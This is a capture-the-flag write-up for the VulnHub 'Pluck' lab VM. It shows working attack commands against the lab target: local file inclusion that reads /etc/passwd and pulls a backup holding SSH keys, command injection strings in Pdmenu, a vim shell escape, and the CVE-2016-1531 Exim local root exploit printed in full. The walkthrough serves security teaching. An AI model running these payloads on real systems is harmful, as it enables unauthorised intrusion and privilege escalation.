Pluck VulnHub Writeup
It's been a while since playing with VulnHub, so when I saw a new image was released, I decided to give it a go. This is pluck by Ryan Oberto.
Service discovery
root@kali:~# nmap -T4 -A -v -p0-65535 192.168.110.101
Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-03-15 03:49 EDT
NSE: Loaded 140 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 03:49
Completed NSE at 03:49, 0.00s elapsed
Initiating NSE at 03:49
Completed NSE at 03:49, 0.00s elapsed
Initiating ARP Ping Scan at 03:49
Scanning 192.168.110.101 [1 port]
Completed ARP Ping Scan at 03:49, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 03:49
Completed Parallel DNS resolution of 1 host. at 03:49, 0.03s elapsed
Initiating SYN Stealth Scan at 03:49
Scanning 192.168.110.101 [65536 ports]
Discovered open port 22/tcp on 192.168.110.101
Discovered open port 3306/tcp on 192.168.110.101
Discovered open port 80/tcp on 192.168.110.101
Discovered open port 5355/tcp on 192.168.110.101
Completed SYN Stealth Scan at 03:49, 1.84s elapsed (65536 total ports)
Initiating Service scan at 03:49
Scanning 4 services on 192.168.110.101
Completed Service scan at 03:51, 115.17s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 192.168.110.101
NSE: Script scanning 192.168.110.101.
Initiating NSE at 03:51
Completed NSE at 03:51, 7.04s elapsed
Initiating NSE at 03:51
Completed NSE at 03:51, 1.01s elapsed
Nmap scan report for 192.168.110.101
Host is up (0.00026s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.3p1 Ubuntu 1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e8:87:ba:3e:d7:43:23:bf:4a:6b:9d:ae:63:14:ea:71 (RSA)
|_ 256 8f:8c:ac:8d:e8:cc:f9:0e:89:f7:5d:a0:6c:28:56:fd (ECDSA)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Pluck
3306/tcp open mysql MySQL (unauthorized)
5355/tcp open unknown
MAC Address: 08:00:27:45:29:54 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
Uptime guess: 198.048 days (since Mon Aug 29 02:43:03 2016)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.26 ms 192.168.110.101
NSE: Script Post-scanning.
Initiating NSE at 03:51
Completed NSE at 03:51, 0.00s elapsed
Initiating NSE at 03:51
Completed NSE at 03:51, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 127.29 seconds
Raw packets sent: 65559 (2.885MB) | Rcvd: 65551 (2.623MB)
So we've got an Apache server on port 80
, a MySQL server on port 3306
, and an unknown service on port 5355
.
Let's check out the website first.
Port 80
Upon visiting the target, we are presented with the following site.
Examining the source reveals a few links of immediate interest.
<div class="collapse navbar-collapse" id="navbarCollapse">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="index.php?page=about.php">About</a></li>
<li><a href="index.php?page=contact.php">Contact Us</a></li>
<li><a href="admin.php">Admin</a></li>
</ul>
</div>
I check to see if the page
parameter in the index.php
script is vulnerable to Local File Inclusion.
root@kali:~# curl -v 192.168.110.101/index.php?page=/etc/passwd
* Trying 192.168.110.101...
* Connected to 192.168.110.101 (192.168.110.101) port 80 (#0)
> GET /index.php?page=/etc/passwd HTTP/1.1
> Host: 192.168.110.101
> User-Agent: curl/7.50.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Wed, 15 Mar 2017 07:56:21 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Vary: Accept-Encoding
< Content-Length: 3761
< Content-Type: text/html; charset=UTF-8
<
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Pluck</title>
<link rel="stylesheet" href="/css/bootstrap.min.css">
<link rel="stylesheet" href="/css/bootstrap-theme.min.css">
<script src="/js/jquery.min.js"></script>
<script src="/js/bootstrap.min.js"></script>
</head>
<body>
<nav id="myNavbar" class="navbar navbar-default navbar-inverse navbar-fixed-top" role="navigation">
<!-- Brand and toggle get grouped for better mobile display -->
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#navbarCollapse">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="/">Pluck</a>
</div>
<!-- Collect the nav links, forms, and other content for toggling -->
<div class="collapse navbar-collapse" id="navbarCollapse">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="index.php?page=about.php">About</a></li>
<li><a href="index.php?page=contact.php">Contact Us</a></li>
<li><a href="admin.php">Admin</a></li>
</ul>
</div>
</div>
</nav>
<div class="container">
<br><br><br><br>
<div class=jumbotron>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:109::/var/run/dbus:/bin/false
mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false
lxd:x:108:65534::/var/lib/lxd/:/bin/false
uuidd:x:109:114::/run/uuidd:/bin/false
dnsmasq:x:110:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:111:65534::/var/run/sshd:/usr/sbin/nologin
pollinate:x:112:1::/var/cache/pollinate:/bin/false
bob:x:1000:1000:bob,,,:/home/bob:/bin/bash
Debian-exim:x:113:119::/var/spool/exim4:/bin/false
peter:x:1001:1001:,,,:/home/peter:/bin/bash
paul:x:1002:1002:,,,:/home/paul:/usr/bin/pdmenu
backup-user:x:1003:1003:Just to make backups easier,,,:/backups:/usr/local/scripts/backup.sh
</div><br> <hr>
<div class="row">
<div class="col-sm-12">
<footer>
<p>© Copyright 2017 Pluck</p>
</footer>
</div>
</div>
</div>
</body>
</html>
* Connection #0 to host 192.168.110.101 left intact
Great - we were able to read the /etc/passwd
file from the target. This has revealed an interesting script that assists with backups at /usr/local/scripts/backup.sh
.
Backups
Let's try and read the script of interest, to see what it's doing.
root@kali:~# curl -v 192.168.110.101/index.php?page=/usr/local/scripts/backup.sh
* Trying 192.168.110.101...
* Connected to 192.168.110.101 (192.168.110.101) port 80 (#0)
> GET /index.php?page=/usr/local/scripts/backup.sh HTTP/1.1
> Host: 192.168.110.101
> User-Agent: curl/7.50.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Wed, 15 Mar 2017 07:57:17 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Vary: Accept-Encoding
< Content-Length: 2129
< Content-Type: text/html; charset=UTF-8
<
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Pluck</title>
<link rel="stylesheet" href="/css/bootstrap.min.css">
<link rel="stylesheet" href="/css/bootstrap-theme.min.css">
<script src="/js/jquery.min.js"></script>
<script src="/js/bootstrap.min.js"></script>
</head>
<body>
<nav id="myNavbar" class="navbar navbar-default navbar-inverse navbar-fixed-top" role="navigation">
<!-- Brand and toggle get grouped for better mobile display -->
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#navbarCollapse">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="/">Pluck</a>
</div>
<!-- Collect the nav links, forms, and other content for toggling -->
<div class="collapse navbar-collapse" id="navbarCollapse">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="index.php?page=about.php">About</a></li>
<li><a href="index.php?page=contact.php">Contact Us</a></li>
<li><a href="admin.php">Admin</a></li>
</ul>
</div>
</div>
</nav>
<div class="container">
<br><br><br><br>
<div class=jumbotron>#!/bin/bash
########################
# Server Backup script #
########################
#Backup directories in /backups so we can get it via tftp
echo "Backing up data"
tar -cf /backups/backup.tar /home /var/www/html > /dev/null 2& > /dev/null
echo "Backup complete"
</div><br> <hr>
<div class="row">
<div class="col-sm-12">
<footer>
<p>© Copyright 2017 Pluck</p>
</footer>
</div>
</div>
</div>
</body>
</html>
* Connection #0 to host 192.168.110.101 left intact
Great - we have read access. The script looks to be backing up not only the entire /home
directory, but also the /var/www/html
directory to a tar
file located at /backups/backup.tar
. Let's try and grab the archive.
root@kali:~# curl -v 192.168.110.101/index.php?page=/backups/backup.tar > backup.tar
* Trying 192.168.110.101...
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 192.168.110.101 (192.168.110.101) port 80 (#0)
> GET /index.php?page=/backups/backup.tar HTTP/1.1
> Host: 192.168.110.101
> User-Agent: curl/7.50.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Wed, 15 Mar 2017 07:59:18 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=UTF-8
<
{ [14301 bytes data]
100 6224M 0 6224M 0 0 227M 0 --:--:-- 0:00:27 --:--:-- 217M* transfer closed with outstanding read data remaining
100 6378M 0 6378M 0 0 227M 0 --:--:-- 0:00:28 --:--:-- 227M
* Closing connection 0
curl: (18) transfer closed with outstanding read data remaining
So it looks like we've managed to download a 6gb backup archive. Before proceeding with extracting this, I throw Kadimus
at the target, to see if we can achieve Remote Code Execution via the vulnerable index.php
script.
root@kali:~/Kadimus# ./kadimus -u http://192.168.110.101/index.php?page=about.php
_ __ _ _
| |/ /__ _ __| (_)_ __ ___ _ _ ___
| ' // _` |/ _` | | '_ ` _ \| | | / __|
| . \ (_| | (_| | | | | | | | |_| \__ \
|_|\_\__,_|\__,_|_|_| |_| |_|\__,_|___/
v1.1 - LFI Scan & Exploit Tool (@hc0d3r - P0cL4bs Team)
[+] http://192.168.110.101/index.php?page=about.php
[*] Testing if URI have dynamic content
[~] URI dont have dynamic content
[CHECKING] parameter: page
[*] Checking Commom Errors
[~] http://192.168.110.101/index.php?page=u6cbEYLBWJXhcJNkOzU
[-] No errors Found
[*] Source Disclosure Test
[~] Target probably vulnerable
0x0000: 3c64 6976 2063 6c61 7373 3d22 6a75 6d62 <div.class="jumb
0x0010: 6f74 726f 6e22 3e0a 3c64 6976 2063 6c61 otron">.<div.cla
0x0020: 7373 3d22 766b 5f61 6e73 2220 7374 796c ss="vk_ans".styl
*snip*
0x10380: 3c2f 6469 763e 0a0a 3c2f 6469 763e 0a0a </div>..</div>..
0x10390: 2020 2020 3c2f 6469 763e 0a0a 3c2f 6469 ....</div>..</di
0x10400: 763e 0a0a 0a v>...
[*] Checking Files
[~] http://192.168.110.101/index.php?page=../../../../../../../../../../../../etc/passwd
[+] Regex match: root:.*:0
[~] http://192.168.110.101/index.php?page=/etc/passwd
[+] Regex match: root:.*:0
[~] Ok
[*] RCE Scan
[+] php://input Tests
[-] probably not vulnerable
[*] php://input test finish
[+] /proc/self/environ tests
[-] probably not vulnerable
[*] /proc/self/environ test finish
[+] data wrap test
[-] probably not vulnerable
[*] data wrap test finish
[+] /var/log/auth.log tests
[-] probably not vulnerable
[*] /var/log/auth.log test finish
[~] Ok
[~] Single scan finish !!!
Shucks - no RCE, so it looks like our next step will be to extract this archive. First of all we need to extract the data of interest from the downloaded file, as it will include HTML. The start position is at byte 1609
, and the end position is at size-251
.
root@kali:~/pluck# dd if=backup.tar of=backup_extracted.tar skip=1609 count=$(expr `stat --printf="%s" backup.tar` - 251 - 1609) iflag=skip_bytes,count_bytes
13063201+1 records in
13063201+1 records out
6688359343 bytes (6.7 GB, 6.2 GiB) copied, 55.6454 s, 120 MB/s
Let's see what's included in the archive.
root@kali:~/pluck# tar -tvf backup_extracted.tar 2>/dev/null
-rw-r--r-- 1000/1000 0 1983-01-09 14:03 ome/bob/.sudo_as_admin_successful
drwxr-xr-x root/root 0 2017-01-18 03:27 home/
drwxr-xr-x bob/bob 0 2017-01-18 07:43 home/bob/
-rw-r--r-- bob/bob 3771 2017-01-18 00:39 home/bob/.bashrc
-rw-r--r-- bob/bob 0 2017-01-18 03:40 home/bob/.sudo_as_admin_successful
-rw-r--r-- bob/bob 655 2017-01-18 00:39 home/bob/.profile
-rw-r--r-- bob/bob 220 2017-01-18 00:39 home/bob/.bash_logout
drwxr-xr-x paul/paul 0 2017-01-18 13:13 home/paul/
drwxrwxr-x paul/paul 0 2017-01-18 13:09 home/paul/keys/
-rwxrwxr-x paul/paul 600 2017-01-18 13:08 home/paul/keys/id_key3.pub
-rwxrwxr-x paul/paul 600 2017-01-18 13:08 home/paul/keys/id_key2.pub
-rwxrwxr-x paul/paul 672 2017-01-18 13:08 home/paul/keys/id_key2
-rwxrwxr-x paul/paul 392 2017-01-18 13:09 home/paul/keys/id_key4.pub
-rwxrwxr-x paul/paul 600 2017-01-18 13:08 home/paul/keys/id_key5.pub
-rwxrwxr-x paul/paul 1675 2017-01-18 13:09 home/paul/keys/id_key6
-rwxrwxr-x paul/paul 668 2017-01-18 13:08 home/paul/keys/id_key1
-rwxrwxr-x paul/paul 668 2017-01-18 13:08 home/paul/keys/id_key5
-rwxrwxr-x paul/paul 600 2017-01-18 13:08 home/paul/keys/id_key1.pub
-rwxrwxr-x paul/paul 392 2017-01-18 13:09 home/paul/keys/id_key6.pub
-rwxrwxr-x paul/paul 1679 2017-01-18 13:09 home/paul/keys/id_key4
-rwxrwxr-x paul/paul 668 2017-01-18 13:08 home/paul/keys/id_key3
-rw-r--r-- paul/paul 3771 2017-01-18 03:04 home/paul/.bashrc
-rw-r--r-- paul/paul 655 2017-01-18 03:04 home/paul/.profile
-rw-r--r-- paul/paul 220 2017-01-18 03:04 home/paul/.bash_logout
drwxr-xr-x peter/peter 0 2017-01-18 03:04 home/peter/
-rw-r--r-- peter/peter 3771 2017-01-18 03:04 home/peter/.bashrc
-rw-r--r-- peter/peter 655 2017-01-18 03:04 home/peter/.profile
-rw-r--r-- peter/peter 220 2017-01-18 03:04 home/peter/.bash_logout
drwxr-xr-x root/root 0 2017-01-18 13:28 var/www/html/
drwxr-xr-x root/root 0 2016-07-25 09:53 var/www/html/fonts/
-rw-r--r-- root/root 108738 2016-07-25 07:43 var/www/html/fonts/glyphicons-halflings-regular.svg
-rw-r--r-- root/root 18028 2016-07-25 07:43 var/www/html/fonts/glyphicons-halflings-regular.woff2
-rw-r--r-- root/root 45404 2016-07-25 07:43 var/www/html/fonts/glyphicons-halflings-regular.ttf
-rw-r--r-- root/root 23424 2016-07-25 07:43 var/www/html/fonts/glyphicons-halflings-regular.woff
-rw-r--r-- root/root 20127 2016-07-25 07:43 var/www/html/fonts/glyphicons-halflings-regular.eot
-rw-r--r-- root/root 589 2017-01-18 12:16 var/www/html/about.php
-rw-r--r-- root/root 1427 2017-01-18 13:28 var/www/html/index.php
-rw-r--r-- 1000/1000 0 1983-01-09 14:03 ome/bob/.sudo_as_admin_successful
It's worth noting at this point that the archive itself appears to be corrupted, however we were still able to extract some files of interest. In hind sight, I should of probably seen the hint in the backup script, relating to tftp
, so that I could grab the backup file directly, instead of via this vulnerable script. After some thinking, it occurs to me that the reason this archive is so big is because of a circular include - the archive is included as a PHP script, and as such it keeps on including itself again and again, until the request times out.
So we've got some keys for the user paul
, as well as the contents of the /var/www/html
directory. After extracting /var/www/html/index.php
, it looks like the archive is corrupted, as it cuts off half way through the file. I extract the keys from /home/paul/keys
and try each one in turn against the paul
user.
root@kali:~/pluck/home/paul/keys# ssh -i id_key1 paul@192.168.110.101
The authenticity of host '192.168.110.101 (192.168.110.101)' can't be established.
ECDSA key fingerprint is SHA256:bNvu4Av4Bhl0MM7y9oSir/U4GlOayJaxliMmqVkMqTc.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.110.101' (ECDSA) to the list of known hosts.
paul@192.168.110.101's password:
root@kali:~/pluck/home/paul/keys# ssh -i id_key2 paul@192.168.110.101
paul@192.168.110.101's password:
root@kali:~/pluck/home/paul/keys# ssh -i id_key3 paul@192.168.110.101
paul@192.168.110.101's password:
root@kali:~/pluck/home/paul/keys# ssh -i id_key4 paul@192.168.110.101
The fourth key results in the following screen.
Pdmenu
Using the Directory listing
, Change directory
and Edit file
commands, we can view and modify files on the target.
By exploiting weak sanitation of input in the Edit file
command, we can execute arbitrary commands on the target. In the below snippet, we provide the filename as index.php && id
.
uid=1002(paul) gid=1002(paul) groups=1002(paul)
Press Enter to return to Pdmenu.
Upon exiting vim
, we are presented with the output of the id
command. We can actually do the same under the Ping
menu, by providing input in the style of $(id)
.
ping: uid=1002(paul) gid=1002(paul) groups=1002(paul): Name or service not known
Press Enter to return to Pdmenu.
Time to get a shell as paul
. As the menu is using vim
, we can actually get a shell on the target pretty easily. Firstly we open a file - let's say /var/www/html/index.php
, then we issue the following commands to firstly change our shell to /bin/bash
, and then get an interactive shell.
:set shell=/bin/bash
:!bash
paul@pluck:/var/www/html$ id
uid=1002(paul) gid=1002(paul) groups=1002(paul)
paul
So we've got a shell as paul
. Let's see what we can do from here.
I move to the home directory for paul
, and out of curiosity check out the .pdmenurc
file, which configures Pdmenu
.
paul@pluck:~$ cat .pdmenurc
#!/usr/bin/pdmenu
#
# Note that the above bang-path isn't required, but it lets you run this
# file directly as a sort of pdmenu script.
# Sample menus for Pdmenu.
# Define the main menu.
menu:main:Main Menu
exec:_Directory listing:truncate:ls -l
exec:_Change directory:edit,set:echo PWD=~set to?:~
exec:_Edit file:edit,pause:vim ~filename?:~
exec:_Who's online?:truncate:echo "These users are online:";w
exec:_WWW:edit,pause:lynx ~URL?:~
exec:_Telnet:edit,pause:telnet "~Telnet to where?:~"
exec:_Ping:edit,pause:ping "~host?:~"
nop
exit:_Exit
Nothing really surprising here. Let's keep looking.
I check for any interesting binaries that have their SUID
bit set.
paul@pluck:~$ find / -perm -4000 -ls 2>/dev/null
153966 1024 -rwsr-xr-x 1 root root 1046368 Jan 18 08:54 /usr/exim/bin/exim-4.84-7
355 56 -rwsr-xr-x 1 root root 54256 Sep 20 09:43 /usr/bin/passwd
21792 52 -rwsr-sr-x 1 daemon daemon 51464 Jan 15 2016 /usr/bin/at
344 40 -rwsr-xr-x 1 root root 39904 Sep 20 09:43 /usr/bin/newgrp
22734 24 -rwsr-xr-x 1 root root 22520 Oct 6 22:35 /usr/bin/pkexec
441 136 -rwsr-xr-x 1 root root 136808 Aug 15 2016 /usr/bin/sudo
21450 20 -rwsr-xr-x 1 root root 18416 Jun 15 2016 /usr/bin/traceroute6.iputils
22669 36 -rwsr-xr-x 1 root root 32944 Sep 20 09:43 /usr/bin/newuidmap
190 72 -rwsr-xr-x 1 root root 71824 Sep 20 09:43 /usr/bin/chfn
262 76 -rwsr-xr-x 1 root root 75304 Sep 20 09:43 /usr/bin/gpasswd
22668 36 -rwsr-xr-x 1 root root 32944 Sep 20 09:43 /usr/bin/newgidmap
192 40 -rwsr-xr-x 1 root root 40432 Sep 20 09:43 /usr/bin/chsh
2222 44 -rwsr-xr-- 1 root messagebus 42992 Oct 12 14:29 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
22737 16 -rwsr-xr-x 1 root root 14328 Oct 6 22:35 /usr/lib/policykit-1/polkit-agent-helper-1
277811 12 -rwsr-xr-x 1 root root 10104 Jul 9 2016 /usr/lib/s-nail/s-nail-privsep
21548 432 -rwsr-xr-x 1 root root 440728 Aug 7 2016 /usr/lib/openssh/ssh-keysign
561 12 -rwsr-xr-x 1 root root 10240 Feb 25 2014 /usr/lib/eject/dmcrypt-get-device
262239 40 -rwsr-xr-x 1 root root 40128 Sep 20 09:43 /bin/su
262258 28 -rwsr-xr-x 1 root root 26696 Sep 12 2016 /bin/umount
262207 40 -rwsr-xr-x 1 root root 38984 Sep 12 2016 /bin/mount
274414 32 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
262221 60 -rwsr-xr-x 1 root root 60288 Jun 15 2016 /bin/ping
274178 144 -rwsr-xr-x 1 root root 146128 Apr 27 2016 /bin/ntfs-3g
Everything looks pretty standard, apart from /usr/exim/bin/exim-4.84-7
. A quick Google shows a vulnerability affecting versions 4.86.2
and below - looks hopeful.
The vulnerability stems from Exim in versions below 4.86.2 not performing
sanitization of the environment before loading a perl script defined
with perl_startup setting in exim config.
perl_startup is usually used to load various helper scripts such as
mail filters, gray listing scripts, mail virus scanners etc.
For the option to be supported, exim must have been compiled with Perl
support, which can be verified with:
[dawid@centos7 ~]$ exim -bV -v | grep i Perl
Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc TCPwrappers OpenSSL
Content_Scanning DKIM Old_Demime PRDR OCSP
To perform the attack, attacker can take advantage of the exim's sendmail
interface which links to an exim binary that has an SUID bit set on it by
default
The entry comes with a Proof of Concept, so let's give it a go!
paul@pluck:~$ /usr/exim/bin/exim-4.84-7 -bV -v | grep -i Perl
Support for: iconv() Perl DKIM PRDR OCSP
Looks like it's potentially exploitable. Let's keep going.
Unfortunately, it appears this exploit relies upon having sendmail.exim
available to us. Trying to trigger this by hand resulted in no success. I note that there is another exploit which affects version 4.84
of exim
. Here's hoping.
paul@pluck:~$ #!/bin/sh
paul@pluck:~$ # CVE-2016-1531 exim <= 4.84-3 local root exploit
paul@pluck:~$ # ===============================================
paul@pluck:~$ # you can write files as root or force a perl module to
paul@pluck:~$ # load by manipulating the perl environment and running
paul@pluck:~$ # exim with the "perl_startup" arguement -ps.
paul@pluck:~$ #
paul@pluck:~$ # e.g.
paul@pluck:~$ # [fantastic@localhost tmp]$ ./cve-2016-1531.sh
paul@pluck:~$ # [ CVE-2016-1531 local root exploit
paul@pluck:~$ # sh-4.3# id
paul@pluck:~$ # uid=0(root) gid=1000(fantastic) groups=1000(fantastic)
paul@pluck:~$ #
paul@pluck:~$ # -- Hacker Fantastic
paul@pluck:~$ echo [ CVE-2016-1531 local root exploit
[ CVE-2016-1531 local root exploit
paul@pluck:~$ cat > /tmp/root.pm << EOF
> package root;
> use strict;
> use warnings;
>
> system("/bin/sh");
> EOF
paul@pluck:~$ PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim-4.84-7 -ps
# id
uid=0(root) gid=1002(paul) groups=1002(paul)
We have root
! Let's grab the flag.
# ls -lah /root
total 48K
drwx------ 2 root root 4.0K Jan 25 13:28 .
drwxr-xr-x 23 root root 4.0K Jan 18 11:14 ..
-rw------- 1 root root 1 Jan 20 08:58 .bash_history
-rw-r--r-- 1 root root 3.1K Oct 22 2015 .bashrc
-rw-r--r-- 1 root root 599 Jan 19 06:07 flag.txt
-rw------- 1 root root 84 Jan 20 09:00 .lesshst
-rw------- 1 root root 81 Jan 18 12:00 .mysql_history
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw------- 1 root root 11K Jan 25 13:28 .viminfo
-rw-r--r-- 1 root root 209 Jan 18 19:40 .wget-hsts
# cat /root/flag.txt
Congratulations you found the flag
---------------------------------------
###### ((((((((((((((((((((((((((((((
######### (((((((((((((((((((((((((((
,,########## ((((((((((((((((((((((((
@@,,,########## (((((((((((((((((((((
@@@@@,,,##########
@@@@@@@@,,,############################
@@@@@@@@@@@,,,#########################
@@@@@@@@@,,,###########################
@@@@@@,,,##########
@@@,,,########## &&&&&&&&&&&&&&&&&&&&
,,,########## &&&&&&&&&&&&&&&&&&&&&&&
########## &&&&&&&&&&&&&&&&&&&&&&&&&&
####### &&&&&&&&&&&&&&&&&&&&&&&&&&&&&
Summary
This was a nice little challenge - it was a nice surprise finding the command injection in Pdmenu. I was kind of hoping to get execution under www-data
, however it turns out this was not required in order to finish the challenge.
Thanks for putting it together Ryan Oberto, and thank you for hosting it VulnHub!